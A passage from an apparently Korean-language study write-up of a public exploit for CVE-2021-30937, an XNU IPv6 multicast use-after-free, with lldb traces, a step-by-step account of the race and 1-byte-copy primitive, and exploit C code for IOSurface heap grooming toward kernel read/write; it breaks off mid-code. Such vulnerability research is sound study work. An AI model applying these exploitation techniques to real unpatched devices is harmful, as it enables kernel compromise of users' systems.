0x00\n(lldb) x\/bx 0xfffffe228cffffdb+0x29\n0xfffffe228d000004: 0x88\n<\/code><\/pre>\n<p>\ucd94\uac00\ub85c <code>BYTECOPY_SECOND_TARGET<\/code> \uac12\uc744 0x4141414141414141\ub85c \uc7a0\uc2dc \ubcc0\uacbd\ud574\ubcf4\uc558\ub2e4.\n\uadf8\ub9ac\uace0 panic\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uc5b4 backtrace\ub97c \ud655\uc778\ud574\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) b panic\nBreakpoint 1: where = kernel.release.vmapple`panic + 20 at debug.c:872:2, address = 0xfffffe001593eea4\nProcess 1 stopped\n* thread #1, name = 'CPU0', stop reason = breakpoint 1.1\n    frame #0: 0xfffffe001593eea4 kernel.release.vmapple`panic(str=&quot;%s at pc 0x%016llx, lr 0x%016llx (saved state: %p%s)\\n\\t  x0:  0x%016llx x1:  0x%016llx  x2:  0x%016llx  x3:  0x%016llx\\n\\t  x4:  0x%016llx x5:  0x%016llx  x6:  0x%016llx  x7:  0x%016llx\\n\\t  x8:  0x%016llx x9:  0x%016llx  x10: 0x%016llx  x11: 0x%016llx\\n\\t  x12: 0x%016llx x13: 0x%016llx  x14: 0x%016llx  x15: 0x%016llx\\n\\t  x16: 0x%016llx x17: 0x%016llx  x18: 0x%016llx  x19: 0x%016llx\\n\\t  x20: 0x%016llx x21: 0x%016llx  x22: 0x%016llx  x23: 0x%016llx\\n\\t  x24: 0x%016llx x25: 0x%016llx  x26: 0x%016llx  x27: 0x%016llx\\n\\t  x28: 0x%016llx fp:  0x%016llx  lr:  0x%016llx  sp:  0x%016llx\\n\\t  pc:  0x%016llx cpsr: 0x%08x         esr: 0x%08x          far: 0x%016llx\\n&quot;) at debug.c:872:2 [opt]\nTarget 0: (kernel.release.vmapple) stopped.\n(lldb) bt\n* thread #1, name = 'CPU0', stop reason = breakpoint 1.1\n  * frame #0: 0xfffffe001593eea4 kernel.release.vmapple`panic(str=&quot;%s at pc 0x%016llx, lr 0x%016llx (saved state: %p%s)\\n\\t  x0:  0x%016llx x1:  0x%016llx  x2:  0x%016llx  x3:  0x%016llx\\n\\t  x4:  0x%016llx x5:  0x%016llx  x6:  0x%016llx  x7:  0x%016llx\\n\\t  x8:  0x%016llx x9:  0x%016llx  x10: 0x%016llx  x11: 0x%016llx\\n\\t  x12: 0x%016llx x13: 0x%016llx  x14: 0x%016llx  x15: 0x%016llx\\n\\t  x16: 0x%016llx x17: 0x%016llx  x18: 0x%016llx  x19: 0x%016llx\\n\\t  x20: 0x%016llx x21: 0x%016llx  x22: 0x%016llx  x23: 0x%016llx\\n\\t  x24: 0x%016llx x25: 0x%016llx  x26: 0x%016llx  x27: 0x%016llx\\n\\t  x28: 0x%016llx fp:  0x%016llx  lr:  0x%016llx  sp:  0x%016llx\\n\\t  pc:  0x%016llx cpsr: 0x%08x         esr: 0x%08x          far: 0x%016llx\\n&quot;) at debug.c:872:2 [opt]\n    frame #1: 0xfffffe0015946054 kernel.release.vmapple`panic_with_thread_kernel_state(msg=&quot;Kernel data abort.&quot;, ss=0xfffffe6029cc3300) at sleh.c:543:2 [opt]\n    frame #2: 0xfffffe0015284ba4 kernel.release.vmapple`handle_kernel_abort(state=0xfffffe6029cc3300, esr=2516582404, fault_addr=4702111234474983745, fault_code=FSC_TRANSLATION_FAULT_L0, fault_type=1, recover=0, expected_fault_handler=&lt;unavailable&gt;) at sleh.c:2366:2 [opt]\n    frame #3: 0xfffffe0015282d74 kernel.release.vmapple`handle_abort(state=0xfffffe6029cc3300, esr=2516582404, fault_addr=4702111234474983745, recover=0, inspect_abort=&lt;unavailable&gt;, handler=&lt;unavailable&gt;, expected_fault_handler=0x0000000000000000) at sleh.c:1169:2 [opt] [inlined]\n    frame #4: 0xfffffe0015282d5c kernel.release.vmapple`sleh_synchronous(context=0xfffffe6029cc3300, esr=2516582404, far=4702111234474983745) at sleh.c:786:3 [opt]\n    frame #5: 0xfffffe001511479c kernel.release.vmapple`fleh_synchronous + 40\n    frame #6: 0xfffffe00155e1218 kernel.release.vmapple`ip6_msource_tree_RB_NEXT(elm=0x4141414141414141) at in6_mcast.c:164:1 [opt] [inlined]\n    frame #7: 0xfffffe00155e120c kernel.release.vmapple`in6m_merge(inm=0xfffffe151d9210a0, imf=0xfffffe2286659fd0) at in6_mcast.c:1005:2 [opt]\n    frame #8: 0xfffffe00155e081c kernel.release.vmapple`in6_mc_join(ifp=0xfffffe150e48cbb8, mcaddr=0xfffffe6029cc387c, imf=0xfffffe2286659fd0, pinm=0xfffffe6029cc3820, delay=0) at in6_mcast.c:1282:10 [opt]\n    frame #9: 0xfffffe00155e4474 kernel.release.vmapple`in6p_join_group(inp=0xfffffe150ea2bd40, sopt=&lt;unavailable&gt;) at in6_mcast.c:2303:11 [opt] [inlined]\n    frame #10: 0xfffffe00155e4244 kernel.release.vmapple`ip6_setmoptions(inp=0xfffffe150ea2bd40, sopt=&lt;unavailable&gt;) at in6_mcast.c:3062:11 [opt]\n    frame #11: 0xfffffe00155d8068 kernel.release.vmapple`ip6_ctloutput(so=0xfffffe151043d330, sopt=0xfffffe6029cc3d80) at ip6_output.c:2723:13 [opt]\n    frame #12: 0xfffffe00156e53e4 kernel.release.vmapple`sosetoptlock(so=0xfffffe151043d330, sopt=0xfffffe6029cc3d80, dolock=1) at uipc_socket.c:5035:12 [opt]\n    frame #13: 0xfffffe00156f3e80 kernel.release.vmapple`setsockopt(p=0xfffffe1514368a88, uap=0xfffffe1510fa0000, retval=&lt;unavailable&gt;) at uipc_syscalls.c:2520:10 [opt]\n    frame #14: 0xfffffe0015797e84 kernel.release.vmapple`unix_syscall(state=0xfffffe150f6f1090, thread_act=&lt;unavailable&gt;, uthread=0xfffffe1510fa0000, proc=0xfffffe1514368a88) at systemcalls.c:193:10 [opt]\n    frame #15: 0xfffffe0015282cf4 kernel.release.vmapple`handle_svc(state=0xfffffe150f6f1090) at sleh.c:2419:3 [opt] [inlined]\n    frame #16: 0xfffffe0015282ce8 kernel.release.vmapple`sleh_synchronous(context=0xfffffe150f6f1090, esr=&lt;unavailable&gt;, far=6161891120) at sleh.c:743:3 [opt]\n    frame #17: 0xfffffe001511479c kernel.release.vmapple`fleh_synchronous + 40\n    frame #18: 0x0000000180c09d70\n    frame #19: 0x0000000180c414ec\n<\/code><\/pre>\n<p>\ud574\ub2f9 backtrace \uc815\ubcf4\ub97c \ud1b5\ud574 \uc54c \uc218 \uc788\ub294\uac83\uc740\u2026\n<a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-8019.41.5\/bsd\/netinet6\/in6_mcast.c#L1005\">xnu-8019.41.5\/bsd\/netinet6\/in6_mcast.c:1005<\/a>\uc5d0\uc11c RB_FOREACH \ub9e4\ud06c\ub85c\uc5d0 \uc758\ud574 \uc21c\ud68c\ud558\ub294\ub370,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-21_at_2.36.55_PM.png\" alt=\"Screenshot 2025-11-21 at 2.36.55\u202fPM.png\"><\/p>\n<p>\uc544\ub798\uc5d0\uc11c \uc54c\uc218 \uc788\ub4ef, elm\ub294 \uc720\ud6a8\ud558\uc9c0 \uc54a\uc740 \ucee4\ub110 \uc8fc\uc18c\ub97c \uac00\ub974\ud0a4\uae30\uc5d0 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">frame #6: 0xfffffe00155e1218 kernel.release.vmapple`ip6_msource_tree_RB_NEXT(elm=0x4141414141414141) at in6_mcast.c:164:1 [opt] [inlined]\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, inm\uacfc imf \uac12\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">frame #7: 0xfffffe00155e120c kernel.release.vmapple`in6m_merge(inm=0xfffffe151d9210a0, imf=0xfffffe2286659fd0) at in6_mcast.c:1005:2 [opt]\n<\/code><\/pre>\n<p><a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-8019.41.5\/bsd\/netinet6\/in6_mcast.c#L985\">imf \ud0c0\uc785<\/a>\uc740 <code>struct in6_mfilter*<\/code> \uc774\uba70, \ub2e4\uc74c\uacfc \uac19\uc740 \uc774\ub8e8\uc5b4\uc838\uc788\ub2e4.<\/p>\n<p><code>imf-&gt;im6f_sources.rbh_root-&gt;rbe_right<\/code> \uac00 0x4141414141414141 \uac12\uc774 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) type lookup in6_mfilte\nstruct in6_mfilter {\n    ip6_msource_tree im6f_sources;\n    u_long im6f_nsrc;\n    uint8_t im6f_st[2];\n}\n\n(lldb) p\/x *(struct in6_mfilter *)0xfffffe2286659fd0\n(struct in6_mfilter) {\n  im6f_sources = {\n    rbh_root = 0xfffffe228d003f64\n  }\n  im6f_nsrc = 0x0000000000000000\n  im6f_st = {\n    [0] = 0x00\n    [1] = 0x00\n  }\n}\n\n(lldb) type lookup ip6_msource_tree\nstruct ip6_msource_tree {\n    ip6_msource *rbh_root;\n}\n\n(lldb) type lookup ip6_msource\nstruct ip6_msource {\n    struct  {\n        ip6_msource *rbe_left;\n        ip6_msource *rbe_right;\n        ip6_msource *rbe_parent;\n    };\n    ip6_msource::(unnamed struct) im6s_link;\n    in6_addr im6s_addr;\n    im6s_st im6s_st[2];\n    uint8_t im6s_stp;\n}\n\n(lldb) p\/x *(ip6_msource*)0xfffffe228d003f64\n(ip6_msource) {\n  im6s_link = {\n    rbe_left = NULL\n    rbe_right = 0x4141414141414141\n    rbe_parent = NULL\n  }\n  im6s_addr = {\n    __u6_addr = {\n      __u6_addr8 = {\n        [0] = 0x00\n        [1] = 0x00\n        [2] = 0x00\n        [3] = 0x00\n        [4] = 0x00\n        [5] = 0x00\n        [6] = 0x00\n        [7] = 0x00\n        [8] = 0x00\n        [9] = 0x00\n        [10] = 0x00\n        [11] = 0x00\n        [12] = 0x00\n        [13] = 0x00\n        [14] = 0x00\n        [15] = 0x00\n      }\n      __u6_addr16 = ([0] = 0x0000, [1] = 0x0000, [2] = 0x0000, [3] = 0x0000, [4] = 0x0000, [5] = 0x0000, [6] = 0x0000, [7] = 0x0000)\n      __u6_addr32 = ([0] = 0x00000000, [1] = 0x00000000, [2] = 0x00000000, [3] = 0x00000000)\n    }\n  }\n  im6s_st = {\n    [0] = (ex = 0x0008, in = 0x0000)\n    [1] = (ex = 0x0000, in = 0x0000)\n  }\n  im6s_stp = 0xf5\n}\n<\/code><\/pre>\n<p>\ucc38\uace0\ub85c <code>RB_FOREACH<\/code>  \ub9e4\ud06c\ub85c \uad00\ub828 \ubd80\ubd84\uc778\n<code>RB_FOREACH(ims, ip6_msource_tree, &amp;imf-&gt;im6f_sources) {<\/code> \ub8e8\ud504\ubb38 \ucf54\ub4dc\ub294\n1byte copy\uac00 \ubc1c\uc0dd\ud558\ub294 \ud568\uc218\uc778 <code>im6f_commit<\/code> \uc5d0\uc11c\ub3c4 \ub3d9\uc77c\ud558\uac8c \ud574\ub2f9 \ub8e8\ud504\ubb38\uc774 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/bsd\/netinet6\/in6_mcast.c#L818\nstatic void\nim6f_commit(struct in6_mfilter *imf)\n{\n\tstruct ip6_msource      *ims;\n\tstruct in6_msource      *lims;\n\n\tRB_FOREACH(ims, ip6_msource_tree, &amp;imf-&gt;im6f_sources) {\n\t\tlims = (struct in6_msource *)ims;\n\t\tlims-&gt;im6sl_st[0] = lims-&gt;im6sl_st[1];\t\/\/1-byte copy\n\t}\n\timf-&gt;im6f_st[0] = imf-&gt;im6f_st[1];\t\/\/1-byte copy\n}\n<\/code><\/pre>\n<p>\ub530\ub77c\uc11c \uc800 <code>BYTECOPY_SECOND_TARGET<\/code> \ub9e4\ud06c\ub85c\ub294\n2\ubc88\uc9f8 copy\uac00 \uc774\ub904\uc9c8 <code>imf-&gt;im6f_sources.rbh_root-&gt;rbe_right<\/code> \uac12\uc744 \uc81c\uc5b4\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uba74 \ub420\ub4ef \uc2f6\ub2e4.<\/p>\n<p>\ub9cc\uc57d \uc800 <code>BYTECOPY_SECOND_TARGET<\/code>\uac00 \uc6d0\ub798 \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc791\ub3d9\uac00\ub2a5\ud558\uac8c\ub054 \ub9cc\ub4e0 \uac12\uc778 0xfffffe228cffffdb(0xfffffe228d000000 + 3 &#8211; 0x28)\uc600\ub2e4\uba74,  \uc544\ub798\uc640 \uac19\uc774 \uc774\ub8e8\uc5b4\uc84c\uc744\uac70\uace0:<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x *(in6_msource *)0xfffffe228cffffdb\n(in6_msource) {\n  im6s_link = {\n    rbe_left = NULL\n    rbe_right = NULL\n    rbe_parent = NULL\n  }\n  im6s_addr = {\n    __u6_addr = {\n      __u6_addr8 = {\n        [0] = 0x00\n        [1] = 0x00\n        [2] = 0x00\n        [3] = 0x00\n        [4] = 0x00\n        [5] = 0x00\n        [6] = 0x00\n        [7] = 0x00\n        [8] = 0x00\n        [9] = 0x00\n        [10] = 0x00\n        [11] = 0x00\n        [12] = 0x00\n        [13] = 0x11\n        [14] = 0x00\n        [15] = 0x00\n      }\n      __u6_addr16 = ([0] = 0x0000, [1] = 0x0000, [2] = 0x0000, [3] = 0x0000, [4] = 0x0000, [5] = 0x0000, [6] = 0x1100, [7] = 0x0000)\n      __u6_addr32 = ([0] = 0x00000000, [1] = 0x00000000, [2] = 0x00000000, [3] = 0x00001100)\n    }\n  }\n  im6sl_st = {\n    [0] = 0x00\n    [1] = 0x88\n  }\n}\n<\/code><\/pre>\n<p>\uadf8\uc774\ud6c4\ub85c\ub294 <code>lims-&gt;im6sl_st[0] = lims-&gt;im6sl_st[1];<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574\n<code>im6sl_st[0]<\/code>\uc774 0x00\uc774\uc5c8\ub358 \uac12\uc774  <code>im6sl_st[1]<\/code>\uc758 \uac12\uc778 0x88\ub85c 1byte copy\uac00 \ubc1c\uc0dd\ud588\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\uadf8\ub7ec\uba74 \u201c2-1 Before vs After\u201d\uc5d0\uc11c <code>msgh_bits<\/code> \ud544\ub4dc\uac12\uc758 \uc0c1\uc704 \uccab\ubc88\uc9f8 \ubc14\uc774\ud2b8\uac12\uc774 \ubcc0\uacbd\ub41c \uc774\uc720(0x00000011 \u2192 0x88000011)\uac00 \uc124\uba85\uc774 \ub41c\ub2e4. (\uc989, \ub9d0\uc774 \ub41c\ub2e4)<\/p>\n<h2>2-6. <code>get_arb_free_holder()<\/code> \uc694\uc810 \uc815\ub9ac<\/h2>\n<ul>\n<li>\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>get_arb_free_holder<\/code> \ud568\uc218\uc5d0\uc11c \ucc98\uc74c\uc5d0 <code>mcast_join_group<\/code> \ud638\ucd9c\uc744 \ube44\ub3d9\uae30 \ucf54\ub4dc\ub97c \ud3ec\ud568\ud558\uc5ec \ucd1d 64\ubc88(<code>UAF_BUFFER_KALLOC_1664_JOIN_COUNT<\/code>) \uc218\ud589\ud558\ub294\uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/li>\n<li>\uc5ec\uae30\uc11c 64\ubc88 \uc218\ud589\ud558\ub294 \uc774\uc720\ub294 \ucde8\uc57d\uc810 \ub098\uc62c\ub54c \uc790\uc138\ud788 \uc124\uba85\ud558\uaca0\uc9c0\ub9cc, <code>in6p_join_group<\/code>\uc5d0\uc11c <code>im6o_grow<\/code> \uc5d0 \uc758\ud574 \uacc4\uc18d \ucee4\ub110 \ud560\ub2f9\ud06c\uae30\ub97c \ub298\ub9ac\uba74\uc11c <code>default.kalloc.1664<\/code> \uc874\uc5d0 \uc18d\ud558\ub3c4\ub85d \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\uc774\uba70, \ucd94\ud6c4 <code>necp_client_action<\/code> \uc2dc\uc2a4\ud15c\ucf5c\uc744 \ud1b5\ud574 \uc5ec\ub7ec <code>imf<\/code> \ud3ec\uc778\ud130\ub4e4\uc774 \uc874\uc7ac\ud558\ub294 \ubc30\uc5f4\uc778 <code>imo-&gt;im6o_mfilters<\/code> \uc5d0 \uc784\uc758 \ub370\uc774\ud130\ub97c \ucc44\uc6b0\uae30 \uc704\ud574\uc11c\uc774\uae30\ub3c4 \ud558\ub2e4.<\/li>\n<li>\uc5ec\uae30\uc11c\ubd80\ud130\ub294 \ucde8\uc57d\uc810\uacfc \ud568\uaed8 \uc124\uba85\ud558\uaca0\ub2e4.<\/li>\n<li><code>mcast_join_group<\/code>\ud568\uc218 \ud638\ucd9c\uc744 \uc4f0\ub808\ub4dc\ub97c \ud1b5\ud574 \ube44\ub3d9\uae30\ub85c \uc5ec\ub7ec\ubc88\ud558\uac8c \ud558\uac8c\ub418\uba74,\n<code>in6p_join_group<\/code>\uc5d0\uc11c \uc7a0\uae08\uc774 \ud574\uc81c\ub418\ub294 \uc21c\uac04 UAF \ubc84\uadf8\ub97c \ubc1c\uc0dd\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/li>\n<li>\uadf8\ub7ec\uba74 \ub3d9\uc2dc \uc2e4\ud589\ub418\ub294 \ub2e4\ub978 <code>in6p_join_group<\/code> \ud638\ucd9c\uc774 <code>im6o_membership<\/code>, <code>im6o_mfilters<\/code> \ub4e4\uc744 \uc7ac\ud560\ub2f9\ud560 \uc218 \uc788\uae30\uc5d0 <code>imf<\/code> \ud3ec\uc778\ud130\uac00 \uc720\ud6a8\ud558\uc9c0 \uc54a\uc744 \uc218 \uc788\ub2e4.<\/li>\n<li>\uadf8\ub7f0 \ub2e4\uc74c, \uadf8 \ub315\uae00\ub9c1 \ud3ec\uc778\ud130\ub294 <code>in6_mc_join<\/code>\uc5d0\uc11c \uc811\uadfc\ud560 \uc218 \uc788\ub2e4.<\/li>\n<li>\uc774\uc804\uc5d0 \uc124\uba85\ud588\ub2e4\uc2dc\ud53c \ub315\uae00\ub9c1 \ud3ec\uc778\ud130 \ubc30\uc5f4\uc740 <code>im6o_grow<\/code>\uc5d0 \uc758\ud574 <code>nmfilters(=imo-&gt;im6o_mfilters)<\/code> \uc7ac\ud560\ub2f9\ud06c\uae30\uac00 \ub298\uc5b4\ub0a8\uc73c\ub85c\uc368 <code>default.kalloc.1664<\/code> \uc874\uc5d0 \uc18d\ud574\uc788\ub2e4.<\/li>\n<li><code>necp_client_action<\/code> \uc2dc\uc2a4\ud15c\ucf5c\uc744 \ud1b5\ud574 \ud574\ub2f9 \uc874\uc5d0 \uc18d\ud55c \ucee4\ub110 \ud560\ub2f9\ud55c \uacf3\uc744 \ub2e4\uc2dc \ucc44\uc6cc\ub123\uc744 \uc218 \uc788\ub2e4.<\/li>\n<li>\ub2e4\uc2dc \ucc44\uc6cc\ub123\uc744\ub54c\uc758 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 <code>necp_buf+0x278=BYTECOPY_FIRST_TARGET<\/code> \uac12\uc774 \ub4e4\uc5b4\uac04 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub294\ub370, \uc774\ub294 \uace7 \ucee4\ub110\uc5d0\uc11c <code>imf-&gt;im6f_sources.rbh_root<\/code>\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/li>\n<li>\ud574\ub2f9 <code>imf-&gt;im6f_sources.rbh_root<\/code> \uc740 \uace7 <code>BYTECOPY_FIRST_TARGET<\/code> \uac12\uc774\ubbc0\ub85c, <code>im6f_commit<\/code> \uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294 1byte-copy\uc5d0 \uc758\ud574 trailer size\ub97c 8\uc5d0\uc11c 0\uc73c\ub85c \uc870\uc791\ud560 \uc218 \uc788\ub2e4.<\/li>\n<li>\uadf8\ub9ac\uace0 <code>BYTECOPY_FIRST_TARGT+8<\/code> \uc8fc\uc18c\uc5d0\ub294 <code>BYTECOPY_SECOND_TARGET<\/code> \uac12\uc774 \ub4e4\uc5b4\uac00\uc788\ub2e4. +8 \uc624\ud504\uc14b\uc5d0 \uc704\uce58\ud55c \uc774\uc720\ub294, \uc774\ub294 \uace7 <code>ip6_msource<\/code> \uad6c\uc870\uccb4\uc758 <code>im6s_link.rbe_right<\/code> \uc704\uce58\ub97c \uc758\ubbf8\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/li>\n<li><code>im6f_commit<\/code>\uc5d0\uc11c\ub294 <code>RB_FOREACH<\/code>\ub9e4\ud06c\ub85c\uc5d0 \uc758\ud574 \uc21c\ud68c\ud558\uba74\uc11c, \ud574\ub2f9 <code>rbe_right<\/code> \uac12\uc774 \uace7 <code>imf<\/code>\uac00 \ub418\ubbc0\ub85c, \ud55c\ubc88\ub354 1byte-copy\uac00 \uc77c\uc5b4\ub098\uba74\uc11c <code>msgh_bits<\/code> \uac12 \uc911 \uc0c1\uc704 1\ubc14\uc774\ud2b8\uac00 0x0\uc5d0\uc11c 0x88\ub85c \ubc14\ub01c\uc73c\ub85c\uc368 kmsg\uc5d0 <code>MACH_MSGH_BITS_COMPLEX<\/code> \ub97c \uc138\ud2b8\uc2dc\ud0a4\uac8c \ub418\ub294 \uac83\uc774\ub2e4. (<code>MACH_MSGH_BITS_COMPLEX = 0x80000000<\/code>)<\/li>\n<li>\uc2e4\uc81c\ub85c 1byte-copy\uac00 \uc774\ub8e8\uc5b4\uc84c\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 <code>mach_port_peek<\/code> \ub85c trailer size\ub97c \ud655\uc778\ud55c\ub2e4.<\/li>\n<li>\ub9cc\uc57d trailer size\uac00 8\uc774 \uc544\ub2c8\ub77c\uba74, \ud574\ub2f9 \ud3ec\ud2b8\ub294 1byte-copy\uac00 \ubc1c\uc0dd\ud55c <code>kheap_data_ports[i]<\/code>\uc774\ub2e4.<\/li>\n<\/ul>\n<h2>2-6-1. <code>get_arb_free_holder()<\/code> \uc694\uc810 \uc815\ub9ac (\uadf8\ub9bc)<\/h2>\n<p>\uadf8\ub9bc\uc744 \uadf8\ub824\uc11c \ub098\ud0c0\ub0b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4. \uc774\ubbf8\uc9c0\ub97c \ub2e4\uc6b4\ub85c\ub4dc\ud574\uc11c \ubcf4\ub294\uac83\uc744 \ucd94\ucc9c\ud55c\ub2e4.\n(Recommend for downloading picture on PC but not mobile, because resolution is too high :\/ )<\/p>\n<p>English Version:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-05_23.49.57.excalidraw_1_1_1_1-min.png\" alt=\"Drawing 2025-11-05 23.49.57.excalidraw 1 1 1 1-min.png\"><\/p>\n<p>Korean Version:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-05_23.49.57.excalidraw_1_1_1-min.png\" alt=\"Drawing 2025-11-05 23.49.57.excalidraw 1 1 1-min.png\"><\/p>\n<h2>3. exploitation_get_krw_with_arb_free<\/h2>\n<h2>3-1. IOSurface_init<\/h2>\n<p>\uc774\ubbf8 \uc544\ub294 \uc0ac\ub78c\uc740 \uc54c\ub2e4\uc2dc\ud53c, \uba3c\uc800 <code>IOServiceGetMatchingService<\/code> \ud568\uc218\ub85c \uadf8\ub798\ud53d \uac00\uc18d\ud654 \uad00\ub828 \uc11c\ube44\uc2a4\uc778 IOSurface \uc11c\ube44\uc2a4\ub97c \ucc3e\ub294\ub2e4. \uc774\ud6c4\ub85c <code>IOServiceOpen<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294\ub370, \ubcf4\ud1b5 \uc0ac\uc6a9\uc790 \uacf5\uac04 \ud504\ub85c\uc138\uc2a4\uac00 \ucee4\ub110\uc5d0 \ub4f1\ub85d\ub41c I\/O \uc11c\ube44\uc2a4 \ub4dc\ub77c\uc774\ubc84\ub85c\ubd80\ud130 userclient\ub97c \uac00\uc838\uc624\ub294\ub370 \uc8fc\ub85c \ud65c\uc6a9\ub41c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 IOSurfaceClients \ubc30\uc5f4\uc744 0x4000 \ud06c\uae30\ub85c \ub9cc\ub4e4\uae30 \uc804\uc5d0 IOSurfaceRoot_init\uc744 1\ubc88 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">io_connect_t IOSurfaceRoot_init(void)\n{\n    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);\n    mach_port_t mp = MACH_PORT_NULL;\n    IOMasterPort(MACH_PORT_NULL, &amp;mp);\n    io_connect_t uc;\n\n    io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching(&quot;IOSurfaceRoot&quot;));\n    if (s == MACH_PORT_NULL)\n    {\n        return 0;\n    }\n    \n    if (IOServiceOpen(s, mach_task_self(), 0, &amp;uc) != KERN_SUCCESS)\n    {\n        return 0;\n    }\n    \n    return uc;\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n    uint8_t msg_buf[0x100];\n    int fildes[2];\n    pipe(fildes);\n    int read_pipe = fildes[0];\n    int write_pipe = fildes[1];\n    kern_return_t kr = KERN_SUCCESS;\n    \n    \/\/ alloc this one before array of IOSurfaceClients becomes 0x4000\n    io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();\n    ...\n} \n<\/code><\/pre>\n<p><code>IOSurfaceRoot_cause_array_size_to_be_0x4000<\/code> \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub294\ub370,\n\uc774\ub294 IOSurfaceClients \ubc30\uc5f4\uc744 \uad00\ub9ac\ud558\ub294 \ud06c\uae30\uac00 0x4000\uc774 \ub418\ub3c4\ub85d \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\ub2e4.\n\uc138\ubd80\uc801\uc73c\ub85c \uc0b4\ud3b4\ubcf4\uba74 <code>IOSurfaceRoot_create_surface_fast<\/code> \ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)\n{\n    for (int i = 0; i &lt; 4; ++i)\n    {\n        io_connect_t uc = IOSurfaceRoot_init();\n        for (int i = 0; i &lt; 0xf00; ++i)\n        {\n            uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);\n            if (0x3400 &lt;= (last_id * sizeof(uint64_t)))\n            {\n                return last_id;\n            }\n        }\n    }\n    \n    return -1;\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n    ...\n    \/\/ cause max size of arrays of IOSurfaceClients to become 0x4000\n    uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();\n    printf(&quot;last_id = 0x%x\\n&quot;, last_id);\n    ...\n}\n<\/code><\/pre>\n<h2>3-2. IOSurfaceRoot_create_surface_fast<\/h2>\n<p>\ucee4\ub110\ub85c \ub118\uc5b4\uac00\uae30 \uc804\uc5d0,\nalloc_size\ub97c 0x4000(\uc0ac\uc2e4 0\ub9cc \uc544\ub2c8\uba74 \ubb50\ub4e0 \uc0c1\uad00\uc5c6\uc74c)\uc73c\ub85c \uc9c0\uc815\ud558\uc5ec <code>IOConnectCallMethod<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \ub118\uc5b4\uac04\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 mach_swap2 \uc775\uc2a4\ud50c\ub85c\uc787\uc744 \uc0b4\ud3b4\ubcfc\ub54c\uc5d0\n<code>IOSurface_init<\/code> \ud568\uc218\uc5d0\uc11c <code>IOSurfaceRootUserClient::s_create_surface<\/code> \uc640 \ube44\uc2b7\ud558\uac8c \uc791\ub3d9\ud55c\ub2e4\uace0 \ubcf4\uba74 \ub420\ub4ef \uc2f6\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc5d0\ub294 surface_id\ub97c \ud68d\ub4dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)\n{\n    \/\/ Brandon Azad's definitions from https:\/\/bugs.chromium.org\/p\/project-zero\/issues\/detail?id=1986#c4\n    struct _IOSurfaceFastCreateArgs {\n        uint64_t address;\n        uint32_t width;\n        uint32_t height;\n        uint32_t pixel_format;\n        uint32_t bytes_per_element;\n        uint32_t bytes_per_row;\n        uint32_t alloc_size;\n    };\n\n    struct IOSurfaceLockResult {\n        uint8_t _pad1[0x18];\n        uint32_t surface_id;\n        uint8_t _pad2[0xF60-0x18-0x4];\n    };\n    \n    struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };\n    struct IOSurfaceLockResult lock_result = {0};\n    uint64_t 